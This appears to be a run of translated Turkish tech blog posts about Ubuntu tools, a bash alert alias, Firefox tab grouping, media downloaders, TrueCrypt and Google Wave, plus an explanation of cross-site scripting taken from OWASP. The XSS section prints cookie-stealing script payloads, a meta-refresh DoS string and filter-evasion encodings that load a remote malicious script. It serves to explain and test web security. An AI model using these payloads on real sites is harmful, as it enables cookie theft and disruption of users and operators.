DevC++ Opencv Binding

Windowsta çalışmam gerekiyordu!! DevC++ ‘da opencv kurmam gerekiyordu.

Biraz uğraştıktan sonra kurdum, fakat linuxteki keyfi alamadım.

devc++’ta opencv kurulumu için tıklayınız.

Sizin herhangi birşey yapmanıza gerek yok. TestDrive, gerekli ISO dosyasına bilgisayarınıza indirecek ve ileriki kullanımlarda onu yeni versiyonu ile eşleyecek. Biraz daha açalım burayı. İlk başta ISO dosyasını tam olarak bilgisayarınıza indirmek zorundasınız. Ardından bu sürüm üzerinde bir güncelleştirme olacağından güncellenmiş ISO dosyasını baştan bilgisayarınıza indirmek zorunda kalacakmışsınız gibi düşünebilirsiniz. İşte zsync kullanılarak, yeni bir Ubuntu sürümü çıktığında yeniden aynı ISO dosyasını indirmek zorunda kalmayacaksınız. Sadece güncellenen kısım bilgisayarınıza indirilecek.

TestDrive önceden terminalden çalıştırılan bir programdı. Şu anda ise henüz tamamlanmayan basit bir arayüzü var. Bu da işimizi kolaylaştırıyor.

VirtualBox programını, yeni arayüz ile karşımıza çıkan TestDrive ile kullanabilmek için artık config dosyalarını düzenlemenize gerek kalmayacak. Sadece sanal disk boyutunu seçeceksiniz.

Arayüze ek olarak yeni bir özellik daha karşımıza çıkıyor: Artık herhangi bir Linux sürümünü sanal makinede çalıştırabileceğiz. Basit olarak söylemek gerekirse; File–>New yolunu izleyip ondan sonra bir tanımlama yapacağız. Ardından ISO dosyasını bulunduğu adresi gireceğiz ve yeniden tam olarak indirme yapma zahmetinden bizi kurtaracak olan eşleme protokolümüzü belirleyeğiz. (zsync veya rsync seçebilirsiniz. Ama seçeceğiniz protokolün bilgisayarınızda yüklü olması gerekmektedir.)

TestDrive programını ilk kullanacağınız zaman(Applications > System Tools) Ubuntuya ait bir ISO seçeceksiniz(Ubuntu Desktop gibi) ondan sonra “Sync” butonuna tıklayacaksınız. Bu yaptığınız işlem en güncel ISO dosyasını bilgisayarınıza indirecek.

İndirme işlemi bittiğinde, “Launch” butonuna tıkladıktan sonra en güncel Linux sürümü sanal makinanızda çalışacak.

Ubuntu Üzerinde TestDrive ve Arayüzü olan TestDrive GTK Front-End Kurulumu

Eğer şu anki en son Ubuntu sürümü olan Ubuntu 10.10 Maverick Meerkat kullanıyorsanız; TestDrive ve arayüz programını depolarda bulabilirsiniz. Onun için ilgili PPA’ları yani paket arşivlerini eklemenize gerek yok.

Ubuntu 10.04 Lucid Lynx kullananlar aşağıdaki iki paket arşivini terminal vasıtasıyla ekleyin:

sudo add-apt-repository ppa:testdrive/ppa
sudo add-apt-repository ppa:testdrive-gtk/ppa

TestDrive Programını ve arayüzünü kurmak içinse aşağıdaki komutları kullanın:

sudo apt-get update
sudo apt-get install testdrive testdrive-gtk

Kaynak: http://www.webupd8.org/2010/07/testdrive-latest-daily-ubuntu.html

Çeviri: Serdar BARAKLI

Ubuntu Serverının çekirdek geliştiricilerinden Dustin Kirkland, kendi web blogunda ilginç bir şeye yer verdi. Terminalde belli bir iş için işlem yaparken (mesela “sudo apt-get upgrade” komutunu kullanıp linux güncellemenizi yaparsınız) işlem bitine kadar terminali kontrol ederiz işimiz bitti mi diye. İşte şimdi uygulayacağımız basit bir yöntem ile terminaldeki işlemlerimiz bittiğinde uyarılma mesajı almamızı sağlayacağız.

Terminali kullanarak yaptığımız bazı işler sırasında mesela bir paket derlemek veya belli bir komutu çalıştırmak sırasında kendiliğinden gerçekleşen şeyler bizim pek umrumuzda olmaz. İşte bu yüzden bir tarafta terminal bu işlemleri gerçekleştirirken diğer tarafta başka bir işle ilgileniriz ve bu iş sırasında terminaldeki işimizin bittiğine dair uyarı mesajı almak işlerimizi oldukça kolaylaştırır.

Dustin Kirkland’ın yöntemi, terminaldeki bir işlem bittiğinde NotifyOSD kullanarak bize uyarı gösterilmesini sağlıyor.

Ayarlar:

1. İlk olarak “~/.bashrc” dosyasını düzenleyelim. Bunun için terminalde:

gedit ~/.bashrc

yazalım. Karşımıza düzenleyeceğimiz ilgili dosya açılacak. En son satıra:

alias alert_helper=’history|tail -n1|sed -e “s/^\s*[0-9]\+\s*//” -e “s/;\s*alert$//”‘
alias alert=’notify-send -i /usr/share/icons/gnome/32×32/apps/gnome-terminal.png “[$?] $(alert_helper)”‘

kodunu yapıştırıp değişiklikleri kaydedelim.

2. “libnotify-bin” yüklü olduğundan emin olalım. Bunun için terminalde:

sudo apt-get install libnotify-bin

komutunu kullanalım.

3. Son olarak aşağıdaki kodu terminale yazın.

source ~/.bashrc

Deneyelim.

Terminalde yaptığımız iş sonunda uyarı almak istiyorsak “; alert” kelimesini tırnak işaretleri olmadan eklememiz gerekiyor.

Örnek bir test komutu

sleep 20; alert

Örnek: Bir programı make komutu kullanarak derledikten sonra uyarı almak istiyorsak terminale yazacağımız komut:

make; alert

Kaynak: http://www.webupd8.org/2010/07/get-notified-when-job-you-run-in.html

Çeviri: Serdar BARAKLI

Yukarıdaki videoyu izleyelim. Mozilla tarayıcılarının arayüz tasarımcısı Aza Raskin tarafından hazırlanan videoda Tab Candy hakkında fikir sahibi olabilirsiniz. Bu tür bir gruplandırma özelliğinin iOS 4 veya OS X’s Exposé deki yeni program klasörlerinden esinlenilerek yapıldığını söyleyebiliriz. Tarayıcınızdaki tabları sürükleyip bırakarak bu tabları istediğiniz biçimde sınıflandırabilir, yeni gruplar oluşturabilirsiniz. Bunun için videoda da görüldüğü gibi önceden oluşturduğumuz grubun dışındaki herhangi bir bölgeye tabı sürükleyerek yeni bir grup oluşturabilir, içeriklerine göre bu grupları adlandırabilirsiniz.

Tab Candy özelliğinin diğer bir avantajı da şudur. Siz bir gruba bakarken yani grubu büyüttüğünüzde diğer gruplar kaybolmayacak. Tarayıcıdaki ilgili yere tıkladığınızda yine gruplar karşınıza çıkacak ve istediğiniz gruba geçiş yapabileceksiniz. Sadece bu da değil. Örneğin ev için ayrı iş için ayrı çalışıyorsanız 2 genel kategoriye(ev ve iş) ayırır, bu kategorilerin içinde de ayrıca bir çok grup oluşturabilirsiniz.

Eğer Tab Candy özelliğini içeren Firefox tarayıcısını kullanıyorsanız bazen grupları değiştirmede işe yarayan butonun kullanımı sizi yorabilir. Tablar arasında gezme ve diğer gruplara göz atmak içinse Ctrl+Space bar tuşunu kullanabilirsiniz.

Şu an için OS X işletim sisteminde bu kısayolların yaramadığı görülse de Windowsta çalışmaktadır.

Tab Candy özelliği şu anda eklenti olarak bulunmamaktadır ama Firefox’un alpha versiyonunda yüklü olarak gelmektedir. Alpha versiyonlu Tab Candy özelliğini içeren bu tarayıcıyı, varsayılan tarayıcınız olarak kullanmanız henüz önerilmemektedir. Ama kullanmaya hevesli iseniz, bir göz atmanızda fayda var.

Alpha Versiyonlu Firefox Download için: Tıkla

Tab Candy Ana Sayfası İçin: Tıkla

Kaynak: http://lifehacker.com/5595027/

Çeviri: Serdar BARAKLI

İlk olarak inceleyeceğimiz program “Google2Person“. Kullanıcıların istedikleri müziği bulmalarına yarayan bu program tamamen Python programlama dili ile kodlanmıştır. Aramaktan bıktığınız müzikleri kolayca bulup indirmenizi sağlar. Şu an için bilindik 3 dosya yükleme servisinde arama yapar: Megaupload, Rapidshare ve Uploadjockey. Ayrıca arama komutunu bildiğiniz diğer siteleri de siz ekleyebilirsiniz.

Kullanımı: Arama kriterlerinizi girin, hangi dosya yükleme servisinde arama yapacağınızı belirleyin. Sonuçlar tarayıcınızda görünecek. Bu kadar basit.

Program Download: https://launchpad.net/g2p

İkinci programımız: Myspace Music Downloader

MMD(Myspace Music Downloader) aradığınız şarkıları MySpace’ten bulan bir programdır.

MMD’yi kullanabilmek için, aradığınız şarkıyı yapmış olan grubun ID’sini bilmeniz gerekiyor. Bu da basit: “myspace.com/” tan sonra gelen karakterler; gurubun veya şarkıcının ID’si oluyor. Ardından “Load Tracks” butonuna tıklıyorsunuz. Karşınıza şarkılar sıralanacak. İstediğiniz şarkılara tik koyun, istemediklerinizden ise tiki kaldırın ve “Download”a tıklayın.

Program Download: http://dl.dropbox.com/u/1115768/dlmsm_0.1_all.deb

.deb uzantılı dosyayı yükledikten sonra terminalde şu komutu yazın:

sudo dlmsm -rtmpdump

Sonra Applications(Uygulamalar) > Internet(Internet) yolunu izleyerek programa ulaşabilirsiniz.

Youtube videolarını download etmek istiyorsak aşağıdaki yolu izleyelim:

1) Firefox tarayıcımızı kullanarak istediğimiz videonun olduğu sayfaya gidelim.
2) Videonun tamamen dolmasını bekleyelim.(Eğer en iyi kaliteyi istiyorsanız “HQ/HD” seçeneğinin seçili olduğuna emin olun.)
3) Tarayıcınızı ya da videonun olduğu sayfayı kapatmayın.
4) Nautilus dosya yöneticisini açın ve /tmp klasörüne gidin.
5) “Flash” olarak isimlendirilmiş ve devamında bazı karakterler olan dosyayı masaüstünüze atın ve yeniden adlandırın. Örneğin vimeodan video indirmek için deneme yaptığım zaman /tmp deki dosyanın adı “FlashXXXOA6BN” buydu.
6) Yok 6. madde. Bitti.

Tucan Download Manager programına gelecek olursak, dosya paylaşım sitelerinden dosya indirmeye yarayan bir programdır. Dosya indirme işimiz zorlaştıran captcha önlemi için de bir eklenti içermektedir. Ayrıca sahip olduğunuz premium hesaplar için de desteği vardır.

İndirme ekranına indireceğiniz linki kopyalarsınız ve download tuşuna bastıktan sonra indirme işlemimiz başlar. Doğrudan yapılan indirme işlemine göre daha yavaş olabilir ama captchalarla kim uğraşmak ister ki. Programı indirmek içinse Ubuntu Software Center’a “tucan” yazmanız ya da terminalde aşağıdaki komutu yazmanız yeterlidir.

sudo apt-get install tucan

Kaynak: http://www.omgubuntu.co.uk/2010/02/download-myspace-music-ubuntu.html

Çeviri: Serdar BARAKLI

Taşınabilir Linux Programları projesi 1 uygulamaya 1 dosya düşüncesi üzerine kurulmuştur. Bu proje kapsamında hazırlanan programlar, herhangi bir Linux sürümündeki paketleme yöntemine bakılmaksızın hepsinde kullanılabilir. Bu programlar, uygulamanın çalışması için gerekli tüm şeyleri içinde barındırmaktadır. Herhangi bir klasör çıkartma işlemine ihtiyacınız olmayacak, terminalde kod yazmakla uğraşmayacaksınız. Yapacağınız tek şey; gerekli programı internetten indirmek, indirdiğiniz dosyayı çalışabilir hale getirmek. Bu kadar

Aslında bu yöntem biraz da OS X deki uygulamalara benziyor: Hangi dizinde olursanız olun, ister usb bellekte ister dahili bellek üzerinde, programın çalışması için gerekli herşey zaten programın içinde hazır haldedir.

Bu tür bir uygulamanın bir çok faydasını görürüz. Kullanıcılar yeni piyasaya çıkan herhangi bir programı bilgisayarlarına kurmadan önce onu test etme imkanına sahip olurlar. Uygulamaları istedikleri yerden usb belleklere, hafıza kartlarına atabilirler ve herhangi bir linux sürümünde çalıştırabilirler.

Şu an için Taşınabilir Linux programları Projesi çerçevesinde hazırlanan programlara bakalım:

* Pidgin
* Midori Web Browser
* XChat IRC Client
* Transmission torrent app
* SpiderOak online backup tool
* Blender
* Handbrake

Geçtiğimiz nisan ayında linux kullanıcılarından beğendikleri programlara uygun olacak şekilde bannerlar tasarlamaları istenmişti. Tabi o zamanlar bunun ne amaçla kullanılacağı açıklanmamıştı. Eğer siz de yaratıcılığınızı konuşturup o tasarım yapanların içindeyseniz bu programlara bir göz atın. Çünkü sizin tasarımlarınız da bu proje çerçevesinde kullanılmış olabilir.

Taşınabilir Programları Deneyin.

Kullanıcıların bu programları çalıştırabilmesi için herhangi bir özel uğraş vermelerine gerek yok.

Programı gerekli yerden indirdikten sonra onu “çalıştırılabilir” yapmanız gerekiyor. Bunun için indirdiğiniz programın üzerinde sağ tuş yaptıktan sonra Properties(Özellikler) > Permissions(İzinler) > kısmından ‘allow executing as a programme’ kısmına tik koymanız yeterli. Ardından çift tıklama ile programınızı çalıştırabilirsiniz.

Taşınabilir Linux Programlarına göz gezdirip beğendiklerinizi indirebileceğiniz güzel bir site: portablelinuxapps.org

Kaynak: http://www.omgubuntu.co.uk/2010/07/portable-linux-apps-run-your-favourite.html

Çeviri: Serdar BARAKLI

Yeni görüntüsü:

Eski görüntüsüyle karşılaştıralım:

Buna ek olarak klasör simgesindeki değişiklik de göze çarpıyor. Başka eklemelerde yapılabilir aslında. Ama genel olarak baktığımızda daha iyi görünüyor ve küçük ekrana göre daha kullanışlı olduğu da kesin.

TrueCrypt, gerçek zamanlı ve anında şifreleme özelliğine sahip olan bir yazılımdır. Dağıtımı ücretsiz olarak yapılır ve kaynak kodlarına sahiptir. Bu yazılım; dosyaları, bölümleri ve medya dosyalarını şifreleyebilir.

TrueCrypt 7.0 dün önemli bir yeni değişiklikle duyuruldu. Bu özellikle beraber kullanıcılar, aynı işlemciyi kullanarak ve tamamen yazılıma entegre edilmiş bir şekilde AES şifrelemesinde donanım hızlandırarak 4-8 kat daha hızlı şifreleme işlemi gerçekleştirme özelliğine kavuşmuşlardır.

Yapılan çeşitli testlerde donanım hızlandırmalı TrueCrypt 7.0; AES şifrelemesinde 287MBytes/sn den 2GBytes/sn’ye kadar yükselen bir şifreleme ve şifre çözme hızına sahip olmuştur. Ama hızlandırma olmadan da yapılan AES testlerinin işlem hacmi çok fazladır; bu yüzden bu özelliğin faydasını çok da göreceğimiz söylenemez; ama yine de CPU kaynaklarını rahatlatacağı ve taşınabilir sistemlerdeki pil boşalma süresini artıracağı da göz önünde bulundurulmalıdır.

TrueCrypt 7.0 ait yeni özelliklere buradan erişebilirsiniz.

Kaynak: http://www.webupd8.org/2010/07/encrypt-files-and-partitions-using.html.

Çeviri: Serdar BARAKLI

Cross Site Scripting, belirli bir web sitesindeki müşterilerin kişisel gizliliklerinin hedef alındığı ve müşterilerin bilgilerinin çalındığı veya çeşitli şekilde manipüle edildiği zaman ortaya çıkan güvenlik ihlaline dayanan bir saldırı yöntemidir. “Saldırgan – web site” veya “saldırgan – kurban” ilişkisi gibi iki aşamalı olan birçok web saldırı yönteminden farklı olarak XSS açıkları; 3 bileşenle gerçekleştirilir: saldırgan, kurban ve web site. XSS saldırılarının amacı, kurban müşterinin cookielerini veya diğer önemli bilgilerini çalmaktır. Böylece aynı kurban adına her türlü işlemi gerçekleştirebilir.

Çevrimiçi mesajlaşma boardları, web logları, ziyaretçi defteri ve forumlar gibi mesajların kalıcı olarak depolandığı yerler de, Cross Site Scripting açığını kolaylaştırmaktadır. Bu durumlarda saldırgan, foruma, görünüşte tamamen zararsız olan bir siteye ait; fakat kullanıcıları hedef alacak şekilde şifrelenmiş bir script içeren herhangi link atabilir. Saldırganlar; zararlı scripti gizleyecek ve bazı durumlarda da <Script> tagının aleni kullanımını önleyecek çeşitli şifreleme yöntemlerine sahiptirler. XSS atakları genellikle zararlı javascript kodlarının kullanımı ile gerçekleştirilse de çalıştırılabilir herhangi bir içerikle de gerçekleştirilebilir. Her ne kadar bir çok tip karmaşık saldırı çeşidi olsa da XSS açıklarını tespit etmenin belli yöntemleri vardır.

3 tip XSS tipini görelim: Depolanmış(Gizli), Yansıtılmış(Aktive olmuş) ve DOM-Tabanlı

Depolanmış XSS açığı, bu saldırı türünün en güçlü örneğidir. Depolanmış XSS saldırısı; herhangi bir kullanıcı tarafından bir web uygulamasına ilk olarak bilgi girildikten sonra bu bilginin veritabanı, dosya sistemi veya diğer bölümlerde yani genel olarak server üzerinde depolanmasının ardından, bu bilginin şifrelenmemiş bir şekilde kullanıcılara gösterilmesi sonucu açığa çıkar. Gerçek yaşamdan örnek verirsek, Ekim 2005′te MySpace’te ortaya çıkan Samy solucanı, XSS açığını kullanıyordu.

Bu açıklar, XSS açığının en önemli tipini oluşturur. Çünkü saldırgan, scripti bir kereye mahsus enjekte edebilir. Sosyal mühendisliği yardımıyla da birçok kullanıcı bu olaydan etkilenebilir veya web uygulaması XSS virüsüne bile maruz kalabilir.

Örnek:

Elimizde, diğer kullanıcılara mesaj atmamızı sağlayan bir site olsun ve biz mesaj atmak yerine bir script enjekte edelim:

Şimdi server, bu bilgiyi depolayacak ve karşı taraftaki kullanıcı bu linke tıklayınca fake mesaj görünecek. Kurbanımızın tarayıcısı bizim scriptimizi aşağıdaki gibi çalıştıracak:

Yansıtılmış XSS açıkları ise çok daha fazla bilinen bir tiptir. Önceden veri girilmiş olan web istemcisinin, server-side(server aracılı) scriptlerle kullanılması sonucu ortaya çıkar. Eğer, kullanıcı tarafından girilen fakat onaylanmamış bilgiler; HTML kodlamasız olarak sayfada görülüyorsa; bu, client-side(istemci aracılı örn: tarayıcı kullanarak) kodların dinamik sayfalara eklenmesine izin verecektir. Bunun klasik örneği sitelerin arama bölümleri: Eğer bazı özel HTML karakterlerini de içeren karakter dizisini aratırsak, karşımıza neyi aradığımızı gösteren bir sonuç çıkacaktır. Eğer tüm arama kriterlerimiz veya karakterlerimiz; HTML kodlama ile görüntülenmezse, XSS açığı vardır diyebiliriz.

İlk bakışta, eğer kullanıcılar kendi sayfalarına sadece kod ekleyebiliyorlarsa, bu ciddi bir problem değildir diye düşünebiliriz. Fakat, basit bir sosyal mühendislik metoduyla saldırgan kurbana bir link gönderir. Bu link sonuç sayfasına kodlar enjekte edilmiş zararlı bir linktir ve saldırganın sayfadaki tüm içeriğe erişebilmesine olanak sağlar. Bu durumda kullanılması gereken sosyal mühendislik metodlarının genel gereksinimleri sebebiyle, bir çok programcı bu açıklara pek önem vermemiştir. Bu önemsenmeyen açıklardan biri de XSS’dir ve XSS’nin önemiyle ilgili hep anlaşmazlıklar olmuştur. XSS açığının önemini göstermek için en basit yol, DoS ataklarıdır. Bazı durumlarda aşağıdaki yöntem kullanılarak server üzerinde DoS atağı gerçekleştirilebilir.

article.php?title=<meta%20http-equiv="refresh"%20content="0;">

Bu kod, hedef sayfa üzerinde her 0.3 saniyede bir sayfanın yenilenmesi isteğini gönderecektir. Bu sınırsız yenilenme isteklerinin meydana getirdiği flood sebebiyle, web sayfasının ve veri tabanı serverının işlemesi duracaktır. Daha fazla tarayıcı oturumunun olması bu saldırının şiddetini artıracaktır.

DOM-Tabanlı XSS problemi ise, bir sayfanın client-side(istemci tabanlı örn: tarayıcı kullanarak) scriptinde kendiliğinden olur. Elimizdeki bir javascript, herhangi bir bağlantı(link) istek parametresine(Örn: rss feed) erişirse ve kendi sayfasına bazı HTML kodları yazmasını sağlamak için bu bilgileri kullanırsa; bu bilgiler HTML kullanılarak kodlanmaz. Önceden yazılmış olan bu veri ve buna ek olarak bazı istemci tabanlı scriptler de içerebilen HTML kodu olarak tarayıcı tarafından yeniden yorumlanır. Bu açık türü, Yansıtılmış XSS açığına çok benzeyebilir; fakat bir önemli durum hariç:

Örneğin, eğer açığı olan bir siteye ait link içeren zararlı bir siteye sahip olan saldırgan, script enjekte edebilir ve bu script kullanıcının tarayıcısında çalıştırılabilir. Bu olay, XSS exploitleriyle normalde zaten bypassa uğrayan çapraz domain sınırlaması da dahil, tüm istemci tabanlı kodları bypass edecektir.

Bu enjeksiyonların birçok metodu vardır. Basit sitelerdeki kullanımının dışında bir organizasyonu nasıl etkilediğini gösteren bir örnek verecek olursak, BlackHat Amerika 2006 da Jeremiah Grossman tarafından gösterilen olayı söyleyebiliriz. Bu ispatlama yapılırken çeşitli bloglara, gazetelere veya web sayfaların yorum kısmına depolanmış XSS scripti içeren kodlar gönderilmiştir ve bu zararlı kodların bulunduğu sayfaları ziyaret eden kullanıcıların ağları belirli açıklara karşı taranabilmiş ve loglanmıştır.

Black Box testi ve örnek:

XSS açığını test etmenin yolu; bir uygulamanın veya web serverın, herhangi bir tarayıcı tarafından çalıştırılabilen basit scriptler içeren isteklere karşı vereceği cevabı doğrulamakla olur. Örneğin Sambar Server v5.3, XSS açığının bilindiği çok popüler ücretsiz bir web serverdır. Servera aşağıdaki gibi bir istek gönderirsek, tarayıcı tarafından çalıştırılan bir server cevabı alırız.

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>

Bu script tarayıcı tarafından çalıştırılacaktır çünkü uygulama, orijinal scripti içeren bir hata mesajı verecektir. Böylece tarayıcı bu cevabı, serverdan kaynaklanan çalıştırılabilir bir script olarak yorumlayacaktır. Tüm web serverlar ve web uygulamaları potansiyel olarak bu açıklara karşı zayıftır ve bu ataklara karşı önlem almak oldukça zordur.

Örnek 1:

Javascript büyük harf/küçük harf duyarlılığına sahip olduğundan bu yana bazı kişiler XSS ye karşı önlem almak için tüm karakterleri büyük harfe dönüştürmüşlerdir. Eğer böyle bir şey düşünüyorsanız harf duyarlılığına sahip olmayan bir dil olan VBScript’i kullanabilirsiniz.

JavaScript:

<script>alert(document.cookie);</script>

VBScript:

<script type=”text/vbscript”>alert(DOCUMENT.COOKIE)</script>

Örnek 2:

Eğer sitesini XSS’ye karşı korumak isteyenler “<”, “<script”, “</script>” gibi karakterlere karşı önlem almışlarsa çeşitli şifreleme yolları deneyebilirsiniz.

<script src=http://www.example.com/malicious-code.js></script>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e

Cross Site Scripting Testi

Kaynak: http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

Çeviri: Serdar BARAKLI

İnternette ilk duyrulduğunda baya bir olay olmuştu Google’ın yeni iletişim ve sosyal ağ platformu olan Google Wave. Google’ın bu ürünü beta testi aşamasında genel üyelik alımı yapmamış ve Google Wave den sadece bir kesim insan faydalanabilmişti. Bununla birlikte internette bir çok yerde Wave için davetiye trafiği başladı. Kimisi bu davetiyeleri özel torrent sitelerinin davetiyleriyle takas etti; hatta kimisi de parayla sattı. Ama Google Wave’in kullanıcı sayısının artmasıyla beraber çok da beğenilen bir site olmaması, hakkındaki reklamların iyice azalmasına neden oldu.

Neyse, eğer hala davetiyeniz yoksa veya hala bu servisten faydalanmak istiyorsanız sizin için iyi haberlerimiz var. Google Wave tüm kullanıcılara üyeliklerini açtı. Google hesabınızla çok rahat bir şekilde Wave servisine üye olabilirsiniz.

http://wave.google.com/

Adrese gidin ve Google hesabınızla giriş yapın. Bu kadar!